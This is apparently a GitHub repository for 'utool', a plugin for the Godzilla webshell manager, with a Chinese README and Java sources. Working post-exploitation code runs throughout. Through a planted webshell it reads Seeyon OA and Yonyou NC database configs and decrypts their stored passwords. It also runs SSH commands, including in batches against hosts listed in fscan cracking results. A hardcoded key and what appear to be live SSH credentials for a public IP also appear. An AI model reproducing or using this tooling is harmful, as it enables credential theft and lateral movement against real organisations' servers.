├── img ├── nc.png ├── ssh.png ├── ssh2.png ├── ssh3.png ├── suo.png ├── seeyon1.png └── seeyon2.png ├── lib ├── ctp.jar ├── jsch-0.1.55.jar ├── commons-codec-1.10.jar ├── commons-lang3-3.12.0.jar └── commons-logging-1.1.3.jar ├── src └── main │ └── java │ ├── nc │ └── vo │ │ └── framework │ │ └── rsa │ │ ├── NCUtil.java │ │ ├── Encode.java │ │ ├── XMLParser.java │ │ └── DES.java │ ├── seeyon │ └── SeeyonUtil.java │ ├── utils │ └── FScanUtil.java │ ├── ssh │ └── SSHClient.java │ └── shells │ └── plugins │ └── utool │ ├── UTool.form │ └── UTool.java └── README.md /img/nc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/nc.png -------------------------------------------------------------------------------- /img/ssh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/ssh.png -------------------------------------------------------------------------------- /img/ssh2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/ssh2.png -------------------------------------------------------------------------------- /img/ssh3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/ssh3.png -------------------------------------------------------------------------------- /img/suo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/suo.png -------------------------------------------------------------------------------- /lib/ctp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/lib/ctp.jar -------------------------------------------------------------------------------- /img/seeyon1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/seeyon1.png -------------------------------------------------------------------------------- /img/seeyon2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/img/seeyon2.png -------------------------------------------------------------------------------- /lib/jsch-0.1.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/lib/jsch-0.1.55.jar -------------------------------------------------------------------------------- /lib/commons-codec-1.10.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/lib/commons-codec-1.10.jar -------------------------------------------------------------------------------- /lib/commons-lang3-3.12.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/lib/commons-lang3-3.12.0.jar -------------------------------------------------------------------------------- /lib/commons-logging-1.1.3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/utools/HEAD/lib/commons-logging-1.1.3.jar -------------------------------------------------------------------------------- /src/main/java/nc/vo/framework/rsa/NCUtil.java: -------------------------------------------------------------------------------- 1 | package nc.vo.framework.rsa; 2 | 3 | import core.Encoding; 4 | import core.imp.Payload; 5 | import org.xml.sax.SAXException; 6 | import util.http.ReqParameter; 7 | 8 | import javax.xml.parsers.ParserConfigurationException; 9 | import java.io.ByteArrayInputStream; 10 | import java.io.IOException; 11 | import java.util.HashMap; 12 | import java.util.Properties; 13 | 14 | public class NCUtil { 15 | 16 | public static String decode(String s){ 17 | return new Encode().decode(s); 18 | } 19 | 20 | public static HashMap getNCConfig(String path, Encoding encoding, Payload payload) throws ParserConfigurationException, IOException, SAXException { 21 | ReqParameter parameter = new ReqParameter(); 22 | parameter.add("fileName", encoding.Encoding(path)); 23 | byte[] result = payload.evalFunc(null, "readFile", parameter); 24 | return XMLParser.parserXMLForDBConfig(result); 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # utool 2 | 3 | 集成一些杂七杂八的godzilla插件,工具地址 https://github.com/BeichenDream/Godzilla 4 | 5 | 初衷是为了方便,能在webshell上执行的东西何必下个工具再打开命令行执行呢 6 | 7 | ## 已支持的功能 8 | 9 | ### 以下功能只在本地做过简单测试 10 | 11 | 1. 致远oa数据库解密 12 | 13 | 2. 用友nc数据库解密 14 | 15 | 3. 注入suo5 // 暂时存在一点小问题,先不发布 16 | 17 | 4. ssh命令执行 18 | 19 | 5. fscan结果批量命令执行 20 | 21 | ## 致远oa数据库解密 22 | 23 | 提供数据库配置文件路径 如 D:/Seeyon/A8/base/conf/datasourceCtp.properties 24 | 25 | 支持version2.4 和 1.0解密 26 | 27 | ![seeyon1.png](img%2Fseeyon1.png) 28 | 29 | ![seeyon2.png](img%2Fseeyon2.png) 30 | 31 | ## 用友nc数据库解密 32 | 33 | 提供数据库配置文件路径 如 c:/home/ierp/bin/prop.xml 34 | 35 | ![nc.png](img%2Fnc.png) 36 | 37 | ## 注入suo5 38 | 39 | ![suo.png](img%2Fsuo.png) 40 | 41 | ## 执行单条ssh命令 42 | 43 | 格式如 root@127.0.0.1:22@password 44 | 45 | 或 root@127.0.0.1@password 46 | 47 | ![ssh.png](img%2Fssh.png) 48 | 49 | ## fscan结果批量执行并写入文件 50 | 51 | 可将fscan ssh结果直接导入,批量执行命令 52 | 53 | ![ssh3.png](img%2Fssh3.png) 54 | 55 | ![ssh2.png](img%2Fssh2.png) 56 | 57 | ## fscan结果数据库批量连接 58 | 59 | 60 | -------------------------------------------------------------------------------- /src/main/java/seeyon/SeeyonUtil.java: -------------------------------------------------------------------------------- 1 | package seeyon; 2 | 3 | import core.Encoding; 4 | import core.imp.Payload; 5 | import util.http.ReqParameter; 6 | 7 | import java.io.ByteArrayInputStream; 8 | import java.io.IOException; 9 | import java.util.Base64; 10 | import java.util.Properties; 11 | import com.seeyon.ctp.util.TextEncoder; 12 | 13 | public class SeeyonUtil { 14 | 15 | 16 | public static String decode(String encpass) { 17 | return TextEncoder.decode(encpass); 18 | } 19 | 20 | public static Properties getSeeyonConf(String path, Encoding encoding, Payload payload) throws IOException { 21 | ReqParameter parameter = new ReqParameter(); 22 | parameter.add("fileName", encoding.Encoding(path)); 23 | byte[] result = payload.evalFunc(null, "readFile", parameter); 24 | Properties properties = new Properties(); 25 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result); 26 | properties.load(byteArrayInputStream); 27 | return properties; 28 | } 29 | 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/utils/FScanUtil.java: -------------------------------------------------------------------------------- 1 | package utils; 2 | 3 | import java.util.ArrayList; 4 | import java.util.HashMap; 5 | import java.util.regex.Matcher; 6 | import java.util.regex.Pattern; 7 | 8 | public class FScanUtil { 9 | public static ArrayList> parser(String s) { 10 | ArrayList> result = new ArrayList<>(); 11 | String[] lines = s.split("\\n"); 12 | for (String line : lines) { 13 | if (line.startsWith("[+]")) { 14 | String[] parts = line.split(":"); 15 | if (parts.length == 4) { 16 | HashMap tmp = new HashMap<>(); 17 | tmp.put("protocol", parts[0].split(" ")[1]); 18 | tmp.put("host", parts[1]); 19 | tmp.put("port", parts[2]); 20 | String username = parts[3].split(" ")[0]; 21 | String password = parts[3].split(" ")[1]; 22 | tmp.put("username", username); 23 | tmp.put("password", password); 24 | result.add(tmp); 25 | } 26 | } 27 | } 28 | return result; 29 | } 30 | 31 | 32 | public static void main(String[] args) { 33 | String test = "[+] mysql:192.168.0.135:3306:root 123456\n" + 34 | "[+] mysql:192.168.0.147:3306:root 123456\n" + 35 | "[+] mssql:192.168.0.53:1433:sa 123456"; 36 | 37 | System.out.println(FScanUtil.parser(test)); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/nc/vo/framework/rsa/Encode.java: -------------------------------------------------------------------------------- 1 | package nc.vo.framework.rsa; 2 | 3 | public class Encode { 4 | private static long key = 1231234234L; 5 | 6 | public Encode() { 7 | } 8 | 9 | public static void setKey(long k) { 10 | key = k; 11 | } 12 | 13 | public String decode(String s, long k) { 14 | if (s == null) { 15 | return null; 16 | } else { 17 | DES des = new DES(k); 18 | byte[] sBytes = s.getBytes(); 19 | int bytesLength = sBytes.length / 16; 20 | byte[] byteList = new byte[bytesLength * 8]; 21 | 22 | for (int i = 0; i < bytesLength; ++i) { 23 | byte[] theBytes = new byte[8]; 24 | 25 | for (int j = 0; j <= 7; ++j) { 26 | byte byte1 = (byte) (sBytes[16 * i + 2 * j] - 97); 27 | byte byte2 = (byte) (sBytes[16 * i + 2 * j + 1] - 97); 28 | theBytes[j] = (byte) (byte1 * 16 + byte2); 29 | } 30 | 31 | long x = des.bytes2long(theBytes); 32 | byte[] result = new byte[8]; 33 | des.long2bytes(des.decrypt(x), result); 34 | System.arraycopy(result, 0, byteList, i * 8, 8); 35 | } 36 | 37 | String rtn = new String(this.subArr(byteList)); 38 | return rtn; 39 | } 40 | } 41 | 42 | public String decode(String s) { 43 | return this.decode(s, key); 44 | } 45 | 46 | public String encode(String s, long k) { 47 | if (s == null) { 48 | return null; 49 | } else { 50 | StringBuilder sb = new StringBuilder(); 51 | DES des = new DES(k); 52 | byte space = 32; 53 | byte[] sBytes = s.getBytes(); 54 | int length = sBytes.length; 55 | int newLength = length + (8 - length % 8) % 8; 56 | byte[] newBytes = new byte[newLength]; 57 | 58 | int i; 59 | for (i = 0; i < newLength; ++i) { 60 | if (i <= length - 1) { 61 | newBytes[i] = sBytes[i]; 62 | } else { 63 | newBytes[i] = space; 64 | } 65 | } 66 | 67 | for (i = 0; i < newLength / 8; ++i) { 68 | byte[] theBytes = new byte[8]; 69 | 70 | for (int j = 0; j <= 7; ++j) { 71 | theBytes[j] = newBytes[8 * i + j]; 72 | } 73 | 74 | long x = des.bytes2long(theBytes); 75 | byte[] result = new byte[8]; 76 | des.long2bytes(des.encrypt(x), result); 77 | byte[] doubleResult = new byte[16]; 78 | 79 | for (int j = 0; j < 8; ++j) { 80 | doubleResult[2 * j] = (byte) ((((char) result[j] & 240) >> 4) + 97); 81 | doubleResult[2 * j + 1] = (byte) (((char) result[j] & 15) + 97); 82 | } 83 | 84 | sb.append(new String(doubleResult)); 85 | } 86 | 87 | return sb.toString(); 88 | } 89 | } 90 | 91 | public String encode(String s) { 92 | return this.encode(s, key); 93 | } 94 | 95 | private byte[] subArr(byte[] a) { 96 | int al = a.length; 97 | int end = this.checkEnd(a); 98 | if (end == 0) { 99 | return a; 100 | } else { 101 | byte[] rtn = new byte[al - end]; 102 | System.arraycopy(a, 0, rtn, 0, al - end); 103 | return rtn; 104 | } 105 | } 106 | 107 | private int checkEnd(byte[] arr) { 108 | int rtn = 0; 109 | 110 | for (int i = arr.length - 1; i > 0 && arr[i] == 32; --i) { 111 | ++rtn; 112 | } 113 | 114 | return rtn; 115 | } 116 | } -------------------------------------------------------------------------------- /src/main/java/ssh/SSHClient.java: -------------------------------------------------------------------------------- 1 | package ssh; 2 | 3 | import com.jcraft.jsch.*; 4 | 5 | import javax.swing.*; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.nio.charset.StandardCharsets; 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class SSHClient{ 13 | public String hostname; 14 | 15 | public String username; 16 | public String password; 17 | 18 | public Session session; 19 | public Channel channel; 20 | public int port; 21 | 22 | 23 | public SSHClient(HashMap conn){ 24 | this(conn.get("host"), conn.get("username"), conn.get("password"), Integer.parseInt(conn.get("port"))); 25 | } 26 | 27 | public SSHClient(String hostname, String username, String password) { 28 | this(hostname, username, password, 22); 29 | } 30 | 31 | 32 | public SSHClient(String hostname, String username, String password, int port) { 33 | this.hostname = hostname; 34 | this.username = username; 35 | this.password = password; 36 | this.port = port; 37 | } 38 | 39 | 40 | public String execute(String command) throws JSchException, IOException { 41 | JSch jSch= new JSch(); 42 | this.session = jSch.getSession(username, hostname, port); 43 | this.session.setPassword(password); 44 | this.session.setConfig("StrictHostKeyChecking", "no"); 45 | this.session.connect(); 46 | 47 | this.channel = session.openChannel("exec"); 48 | ((ChannelExec)channel).setCommand(command); 49 | channel.setInputStream(null); 50 | ((ChannelExec)channel).setErrStream(System.err); 51 | InputStream in = channel.getInputStream(); 52 | channel.connect(); 53 | byte[] buffer = new byte[1024]; 54 | StringBuilder output = new StringBuilder(); 55 | while (true) { 56 | int len = in.read(buffer); 57 | if (len < 0) break; 58 | output.append(new String(buffer, 0, len, StandardCharsets.UTF_8)); 59 | } 60 | 61 | this.close(); 62 | return output.toString(); 63 | } 64 | 65 | private void close(){ 66 | this.channel.disconnect(); 67 | this.session.disconnect(); 68 | } 69 | 70 | public static HashMap parserUrl(String sshConnection) { 71 | String username = null; 72 | String host = null; 73 | String port = null; 74 | String password = null; 75 | HashMap sshInfo = new HashMap<>(); 76 | 77 | // Find the first occurrence of "@". 78 | int firstAtIdx = sshConnection.indexOf("@"); 79 | if (firstAtIdx == -1) { 80 | return sshInfo; 81 | } 82 | 83 | username = sshConnection.substring(0, firstAtIdx); 84 | 85 | int firstColonIdx = sshConnection.indexOf(":"); 86 | if (firstColonIdx == -1) { 87 | int secondAtIdx = sshConnection.indexOf("@", firstAtIdx + 1); 88 | if (secondAtIdx == -1) { 89 | return sshInfo; 90 | } 91 | host = sshConnection.substring(firstAtIdx + 1, secondAtIdx); 92 | password = sshConnection.substring(secondAtIdx + 1); 93 | } else { 94 | host = sshConnection.substring(firstAtIdx + 1, firstColonIdx); 95 | 96 | int secondAtIdx = sshConnection.indexOf("@", firstAtIdx + 1); 97 | if (secondAtIdx == -1) { 98 | return sshInfo; 99 | } 100 | port = sshConnection.substring(firstColonIdx + 1, secondAtIdx); 101 | password = sshConnection.substring(secondAtIdx + 1); 102 | } 103 | 104 | if (port == null){ 105 | port = "22"; 106 | } 107 | sshInfo.put("username", username); 108 | sshInfo.put("host", host); 109 | sshInfo.put("port", port); 110 | sshInfo.put("password", password); 111 | return sshInfo; 112 | } 113 | 114 | public static void main(String[] args) throws JSchException, IOException { 115 | SSHClient sshClient = new SSHClient("124.223.103.77","root","ding8046552@"); 116 | sshClient.execute("ifconfig"); 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/nc/vo/framework/rsa/XMLParser.java: -------------------------------------------------------------------------------- 1 | package nc.vo.framework.rsa; 2 | 3 | import org.w3c.dom.Document; 4 | import org.w3c.dom.Element; 5 | import org.w3c.dom.Node; 6 | import org.w3c.dom.NodeList; 7 | import org.xml.sax.SAXException; 8 | 9 | import javax.xml.parsers.DocumentBuilder; 10 | import javax.xml.parsers.DocumentBuilderFactory; 11 | import javax.xml.parsers.ParserConfigurationException; 12 | import java.io.ByteArrayInputStream; 13 | import java.io.IOException; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | 17 | public class XMLParser { 18 | 19 | public static HashMap parserXMLForDBConfig(byte[] xml) throws ParserConfigurationException, IOException, SAXException { 20 | 21 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 22 | DocumentBuilder builder = factory.newDocumentBuilder(); 23 | Document doc = builder.parse(new ByteArrayInputStream(xml)); 24 | 25 | Element root = doc.getDocumentElement(); 26 | NodeList dataSourceNodes = root.getElementsByTagName("dataSource"); 27 | 28 | HashMap dbconfig = new HashMap<>(); 29 | 30 | for (int i = 0; i < dataSourceNodes.getLength(); i++) { 31 | Node dataSourceNode = dataSourceNodes.item(i); 32 | if (dataSourceNode.getNodeType() == Node.ELEMENT_NODE) { 33 | Element dataSourceElement = (Element) dataSourceNode; 34 | String databaseUrl = dataSourceElement.getElementsByTagName("databaseUrl").item(0).getTextContent(); 35 | String user = dataSourceElement.getElementsByTagName("user").item(0).getTextContent(); 36 | String password = dataSourceElement.getElementsByTagName("password").item(0).getTextContent(); 37 | 38 | dbconfig.put("databaseUrl", databaseUrl); 39 | dbconfig.put("user", user); 40 | dbconfig.put("password", password); 41 | } 42 | } 43 | return dbconfig; 44 | } 45 | 46 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { 47 | String xml = "\n" + 48 | "\t\n" + 49 | "\t\tfalse\n" + 50 | "\t\t\n" + 51 | "\t\t\t\n" + 52 | "\t\t\t\t$JAVA_HOME\n" + 53 | "\t\t\t\tserver\n" + 54 | "\t\t\t\t-server -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=7194 -server -Xms5g -Xmx20g -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Dnc.resultset.max=2000000 -Duser.timezone=GMT+02:00\n" + 55 | "\t\t\t\t8005\n" + 56 | "\t\t\t\t\n" + 57 | "\t\t\t\t\t
172.16.129.248
\n" + 58 | "\t\t\t\t\t8866\n" + 59 | "\t\t\t\t
\n" + 60 | "\t\t\t\t./bin/yonyouserver.jks\n" + 61 | "\t\t\t\t\n" + 62 | "\t\t\t\t\n" + 63 | "\t\t\t\tfalse\n" + 64 | "\t\t\t
\n" + 65 | "\t\t
\n" + 66 | "\t\ttrue\n" + 67 | "\t\t\n" + 68 | "\t\t\tStartTomcat\n" + 69 | "\t\t\tnc.bs.tomcat.startup.BootStrapTomcatService\n" + 70 | "\t\t\t15\n" + 71 | "\t\t\ttrue\n" + 72 | "\t\t\tfalse\n" + 73 | "\t\t\tstart|stop\n" + 74 | "\t\t\n" + 75 | "\t\t\n" + 76 | "\t\t\tEJB_SERVICE\n" + 77 | "\t\t\tnc.bs.mw.naming.EJBContainerService\n" + 78 | "\t\t\t15\n" + 79 | "\t\t\ttrue\n" + 80 | "\t\t\tfalse\n" + 81 | "\t\t\tstart|stop\n" + 82 | "\t\t\n" + 83 | "\t\tuap.mw.trans.UAPTransactionManagerProxy\n" + 84 | "\t\tuap.mw.trans.UAPUserTransanction\n" + 85 | "\t\tuap.mw.trans.UAPTransactionManager\n" + 86 | "\t\tnc.bs.mw.sql.UFSqlObject\n" + 87 | "\t\tuap.mw.ds.UAPDataSource\n" + 88 | "\t\t\n" + 89 | "\t\t\tdesign\n" + 90 | "\t\t\tMZ\n" + 91 | "\t\t\tjdbc:oracle:thin:@172.16.129.247:1521/xgl\n" + 92 | "\t\t\tnc65\n" + 93 | "\t\t\tjlehfdffcfmohiag\n" + 94 | "\t\t\toracle.jdbc.OracleDriver\n" + 95 | "\t\t\tORACLE11G\n" + 96 | "\t\t\t50\n" + 97 | "\t\t\t1\n" + 98 | "\t\t\tnc.bs.mw.ejb.xares.IerpDataSource\n" + 99 | "\t\t\tnc.bs.mw.ejb.xares.IerpXADataSource\n" + 100 | "\t\t\t0\n" + 101 | "\t\t\t0\n" + 102 | "\t\t\t0\n" + 103 | "\t\t\tfalse\n" + 104 | "\t\t\tfalse\n" + 105 | "\t\t\tfalse\n" + 106 | "\t\t\t300\n" + 107 | "\t\t\t\n" + 108 | "\t\t\t\n" + 109 | "\t\t\t5\n" + 110 | "\t\t\n" + 111 | "\t\tfdb\n" + 112 | "\t\t7efb6671d8d885fe030a6ae3363d1192\n" + 113 | "\t\t31ca8a6e0414634a7a13be7d1e58d1f4\n" + 114 | "\t\tfalse\n" + 115 | "\t\tfalse\n" + 116 | "\t\tdesign\n" + 117 | "\t\t0\n" + 118 | "\t\t0\n" + 119 | "\t\t0\n" + 120 | "\t
"; 121 | 122 | byte[] xmlBytes = xml.getBytes(); 123 | 124 | HashMap map = XMLParser.parserXMLForDBConfig(xmlBytes); 125 | System.out.println(map); 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/utool/UTool.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 |
166 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/utool/UTool.java: -------------------------------------------------------------------------------- 1 | package shells.plugins.utool; 2 | 3 | import com.jcraft.jsch.JSchException; 4 | import core.Encoding; 5 | import core.annotation.PluginAnnotation; 6 | import core.imp.Payload; 7 | import core.imp.Plugin; 8 | import core.shell.ShellEntity; 9 | import core.ui.component.RTextArea; 10 | import nc.vo.framework.rsa.NCUtil; 11 | import org.fife.ui.rtextarea.RTextScrollPane; 12 | import org.xml.sax.SAXException; 13 | import seeyon.SeeyonUtil; 14 | import ssh.SSHClient; 15 | import util.automaticBindClick; 16 | import util.functions; 17 | import util.http.ReqParameter; 18 | import utils.FScanUtil; 19 | 20 | import javax.swing.*; 21 | import javax.xml.parsers.ParserConfigurationException; 22 | import java.awt.event.ActionEvent; 23 | import java.io.*; 24 | import java.text.SimpleDateFormat; 25 | import java.util.*; 26 | import java.util.concurrent.ExecutionException; 27 | 28 | @PluginAnnotation(payloadName = "JavaDynamicPayload",Name = "UTool",DisplayName = "UTool") 29 | public class UTool implements Plugin { 30 | 31 | private Encoding encoding; 32 | private Payload payload; 33 | private JPanel corePanel; 34 | private RTextArea resultTextArea; 35 | private RTextScrollPane resultTextScrollPane; 36 | private JButton seeyonButton; 37 | private JTextField seeyon_text; 38 | private JTextField nc_text; 39 | private JButton ncButton; 40 | private JButton injectSuo5Button; 41 | private JButton sshClientButton; 42 | private JTextField command_text; 43 | private JButton f_sshButton; 44 | private JTextField ssh_file_command; 45 | private JTextField ssh_file_output_text; 46 | private JTextField url_text; 47 | private boolean loaded = false; 48 | 49 | 50 | @Override 51 | public void init(ShellEntity shellEntity) { 52 | this.payload = shellEntity.getPayloadModule(); 53 | this.encoding = shellEntity.getEncodingModule(); 54 | automaticBindClick.bindJButtonClick(this, this); 55 | } 56 | 57 | @Override 58 | public JPanel getView() { 59 | return corePanel; 60 | } 61 | 62 | public void seeyonButtonClick(ActionEvent actionEvent) throws IOException { 63 | String path = this.seeyon_text.getText(); 64 | if (path.equals("")) { 65 | resultTextArea.append("input path !"); 66 | return; 67 | } 68 | Properties properties = SeeyonUtil.getSeeyonConf(path, this.encoding, this.payload); 69 | String encPass = properties.getProperty("ctpDataSource.password"); 70 | String pass = SeeyonUtil.decode(encPass); 71 | Date dNow = new Date(); 72 | SimpleDateFormat ft = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 73 | this.resultTextArea.append("###### " + ft.format(dNow) + "###### "); 74 | this.resultTextArea.append("\r\n"); 75 | this.resultTextArea.append("seeyon password is : " + pass + "\r\n"); 76 | this.resultTextArea.append("seeyon database username is : " + properties.get("ctpDataSource.username") + "\r\n"); 77 | this.resultTextArea.append("seeyon database url is : " + properties.getProperty("ctpDataSource.url")); 78 | this.resultTextArea.append("\r\n"); 79 | } 80 | 81 | public void injectSuo5ButtonClick(ActionEvent actionEvent) { 82 | this.resultTextArea.append("\r\n"); 83 | this.resultTextArea.append("暂不支持"); 84 | this.resultTextArea.append("\r\n"); 85 | } 86 | 87 | public void ncButtonClick(ActionEvent actionEvent) throws ParserConfigurationException, IOException, SAXException { 88 | String path = this.nc_text.getText(); 89 | if (path.equals("")) { 90 | resultTextArea.append("input path !"); 91 | return; 92 | } 93 | HashMap map = NCUtil.getNCConfig(path, this.encoding, this.payload); 94 | String pass = NCUtil.decode(map.get("password")); 95 | Date dNow = new Date(); 96 | SimpleDateFormat ft = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 97 | this.resultTextArea.append("###### " + ft.format(dNow) + "###### "); 98 | this.resultTextArea.append("\r\n"); 99 | this.resultTextArea.append("seeyon password is : " + pass + "\r\n"); 100 | this.resultTextArea.append("seeyon database username is : " + map.get("user") + "\r\n"); 101 | this.resultTextArea.append("seeyon database url is : " + map.get("databaseUrl")); 102 | this.resultTextArea.append("\r\n"); 103 | } 104 | 105 | public void sshClientButtonClick(ActionEvent actionEvent) throws JSchException, IOException { 106 | String command = command_text.getText(); 107 | String url = url_text.getText(); 108 | HashMap conn = SSHClient.parserUrl(url); 109 | SSHClient sshClient = new SSHClient(conn); 110 | String result = sshClient.execute(command); 111 | Date dNow = new Date(); 112 | SimpleDateFormat ft = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 113 | this.resultTextArea.append("###### " + ft.format(dNow) + " ######" ); 114 | this.resultTextArea.append("\r\n"); 115 | this.resultTextArea.append("###### " + conn.get("host") + " -> " + command + " ######" + "\r\n"); 116 | this.resultTextArea.append(result); 117 | this.resultTextArea.append("\r\n"); 118 | } 119 | public void f_sshButtonClick(ActionEvent actionEvent) throws JSchException, IOException { 120 | String command = ssh_file_command.getText(); 121 | String output = ssh_file_output_text.getText(); 122 | String content; 123 | ArrayList> results = new ArrayList<>(); 124 | JTextArea textArea = new JTextArea(20, 80); 125 | JScrollPane scrollPane = new JScrollPane(textArea); 126 | Object[] message = {"输入fscan结果:", scrollPane}; 127 | int option = JOptionPane.showConfirmDialog(this.corePanel, message, "", JOptionPane.OK_CANCEL_OPTION); 128 | if (option == JOptionPane.OK_OPTION) { 129 | content = textArea.getText(); 130 | }else { 131 | return; 132 | } 133 | 134 | ArrayList> sshinfo = FScanUtil.parser(content); 135 | for (HashMap ssh : 136 | sshinfo) { 137 | HashMap tmp = new HashMap<>(); 138 | SSHClient sshClient = new SSHClient(ssh); 139 | String r = sshClient.execute(command); 140 | tmp.put("host", ssh.get("host")); 141 | tmp.put("result", r); 142 | results.add(tmp); 143 | } 144 | 145 | for (HashMap result : 146 | results) { 147 | Date dNow = new Date(); 148 | SimpleDateFormat ft = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 149 | if (!output.trim().isEmpty()){ 150 | try { 151 | BufferedWriter writer = new BufferedWriter(new FileWriter(output, true)); 152 | writer.write("###### " + result.get("host") + " -> " + command + " ######"); 153 | writer.write(result.get("result")); 154 | writer.close(); 155 | }catch (FileNotFoundException fileNotFoundException){ 156 | this.resultTextArea.append("file not found"); 157 | } 158 | }else { 159 | this.resultTextArea.append("###### " + ft.format(dNow) + " ######" ); 160 | this.resultTextArea.append("\r\n"); 161 | this.resultTextArea.append("###### " + result.get("host") + " -> " + command + " ######" + "\r\n"); 162 | this.resultTextArea.append(result.get("result")); 163 | this.resultTextArea.append("\r\n"); 164 | } 165 | } 166 | Date dNow = new Date(); 167 | SimpleDateFormat ft = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 168 | if (!output.trim().isEmpty()){ 169 | this.resultTextArea.append("###### " + ft.format(dNow) + " ######" ); 170 | this.resultTextArea.append("\r\n"); 171 | this.resultTextArea.append("写入成功 文件位置: " + output); 172 | this.resultTextArea.append("\r\n"); 173 | } 174 | } 175 | } -------------------------------------------------------------------------------- /src/main/java/nc/vo/framework/rsa/DES.java: -------------------------------------------------------------------------------- 1 | package nc.vo.framework.rsa; 2 | 3 | public class DES { 4 | private int[] subkey1 = new int[16]; 5 | private int[] subkey2 = new int[16]; 6 | private static final boolean[] ks = new boolean[]{false, false, true, true, true, true, true, true, false, true, true, true, true, true, true, false}; 7 | private static final int[][] kp = new int[][]{{0, 262144, 16777216, 17039360, 1024, 263168, 16778240, 17040384, 2097152, 2359296, 18874368, 19136512, 2098176, 2360320, 18875392, 19137536, 1, 262145, 16777217, 17039361, 1025, 263169, 16778241, 17040385, 2097153, 2359297, 18874369, 19136513, 2098177, 2360321, 18875393, 19137537, 33554432, 33816576, 50331648, 50593792, 33555456, 33817600, 50332672, 50594816, 35651584, 35913728, 52428800, 52690944, 35652608, 35914752, 52429824, 52691968, 33554433, 33816577, 50331649, 50593793, 33555457, 33817601, 50332673, 50594817, 35651585, 35913729, 52428801, 52690945, 35652609, 35914753, 52429825, 52691969}, {0, 2, 2048, 2050, 134217728, 134217730, 134219776, 134219778, 65536, 65538, 67584, 67586, 134283264, 134283266, 134285312, 134285314, 256, 258, 2304, 2306, 134217984, 134217986, 134220032, 134220034, 65792, 65794, 67840, 67842, 134283520, 134283522, 134285568, 134285570, 16, 18, 2064, 2066, 134217744, 134217746, 134219792, 134219794, 65552, 65554, 67600, 67602, 134283280, 134283282, 134285328, 134285330, 272, 274, 2320, 2322, 134218000, 134218002, 134220048, 134220050, 65808, 65810, 67856, 67858, 134283536, 134283538, 134285584, 134285586}, {0, 4, 4096, 4100, 268435456, 268435460, 268439552, 268439556, 32, 36, 4128, 4132, 268435488, 268435492, 268439584, 268439588, 524288, 524292, 528384, 528388, 268959744, 268959748, 268963840, 268963844, 524320, 524324, 528416, 528420, 268959776, 268959780, 268963872, 268963876, 536870912, 536870916, 536875008, 536875012, 805306368, 805306372, 805310464, 805310468, 536870944, 536870948, 536875040, 536875044, 805306400, 805306404, 805310496, 805310500, 537395200, 537395204, 537399296, 537399300, 805830656, 805830660, 805834752, 805834756, 537395232, 537395236, 537399328, 537399332, 805830688, 805830692, 805834784, 805834788}, {0, 1048576, 8, 1048584, 512, 1049088, 520, 1049096, 67108864, 68157440, 67108872, 68157448, 67109376, 68157952, 67109384, 68157960, 8192, 1056768, 8200, 1056776, 8704, 1057280, 8712, 1057288, 67117056, 68165632, 67117064, 68165640, 67117568, 68166144, 67117576, 68166152, 131072, 1179648, 131080, 1179656, 131584, 1180160, 131592, 1180168, 67239936, 68288512, 67239944, 68288520, 67240448, 68289024, 67240456, 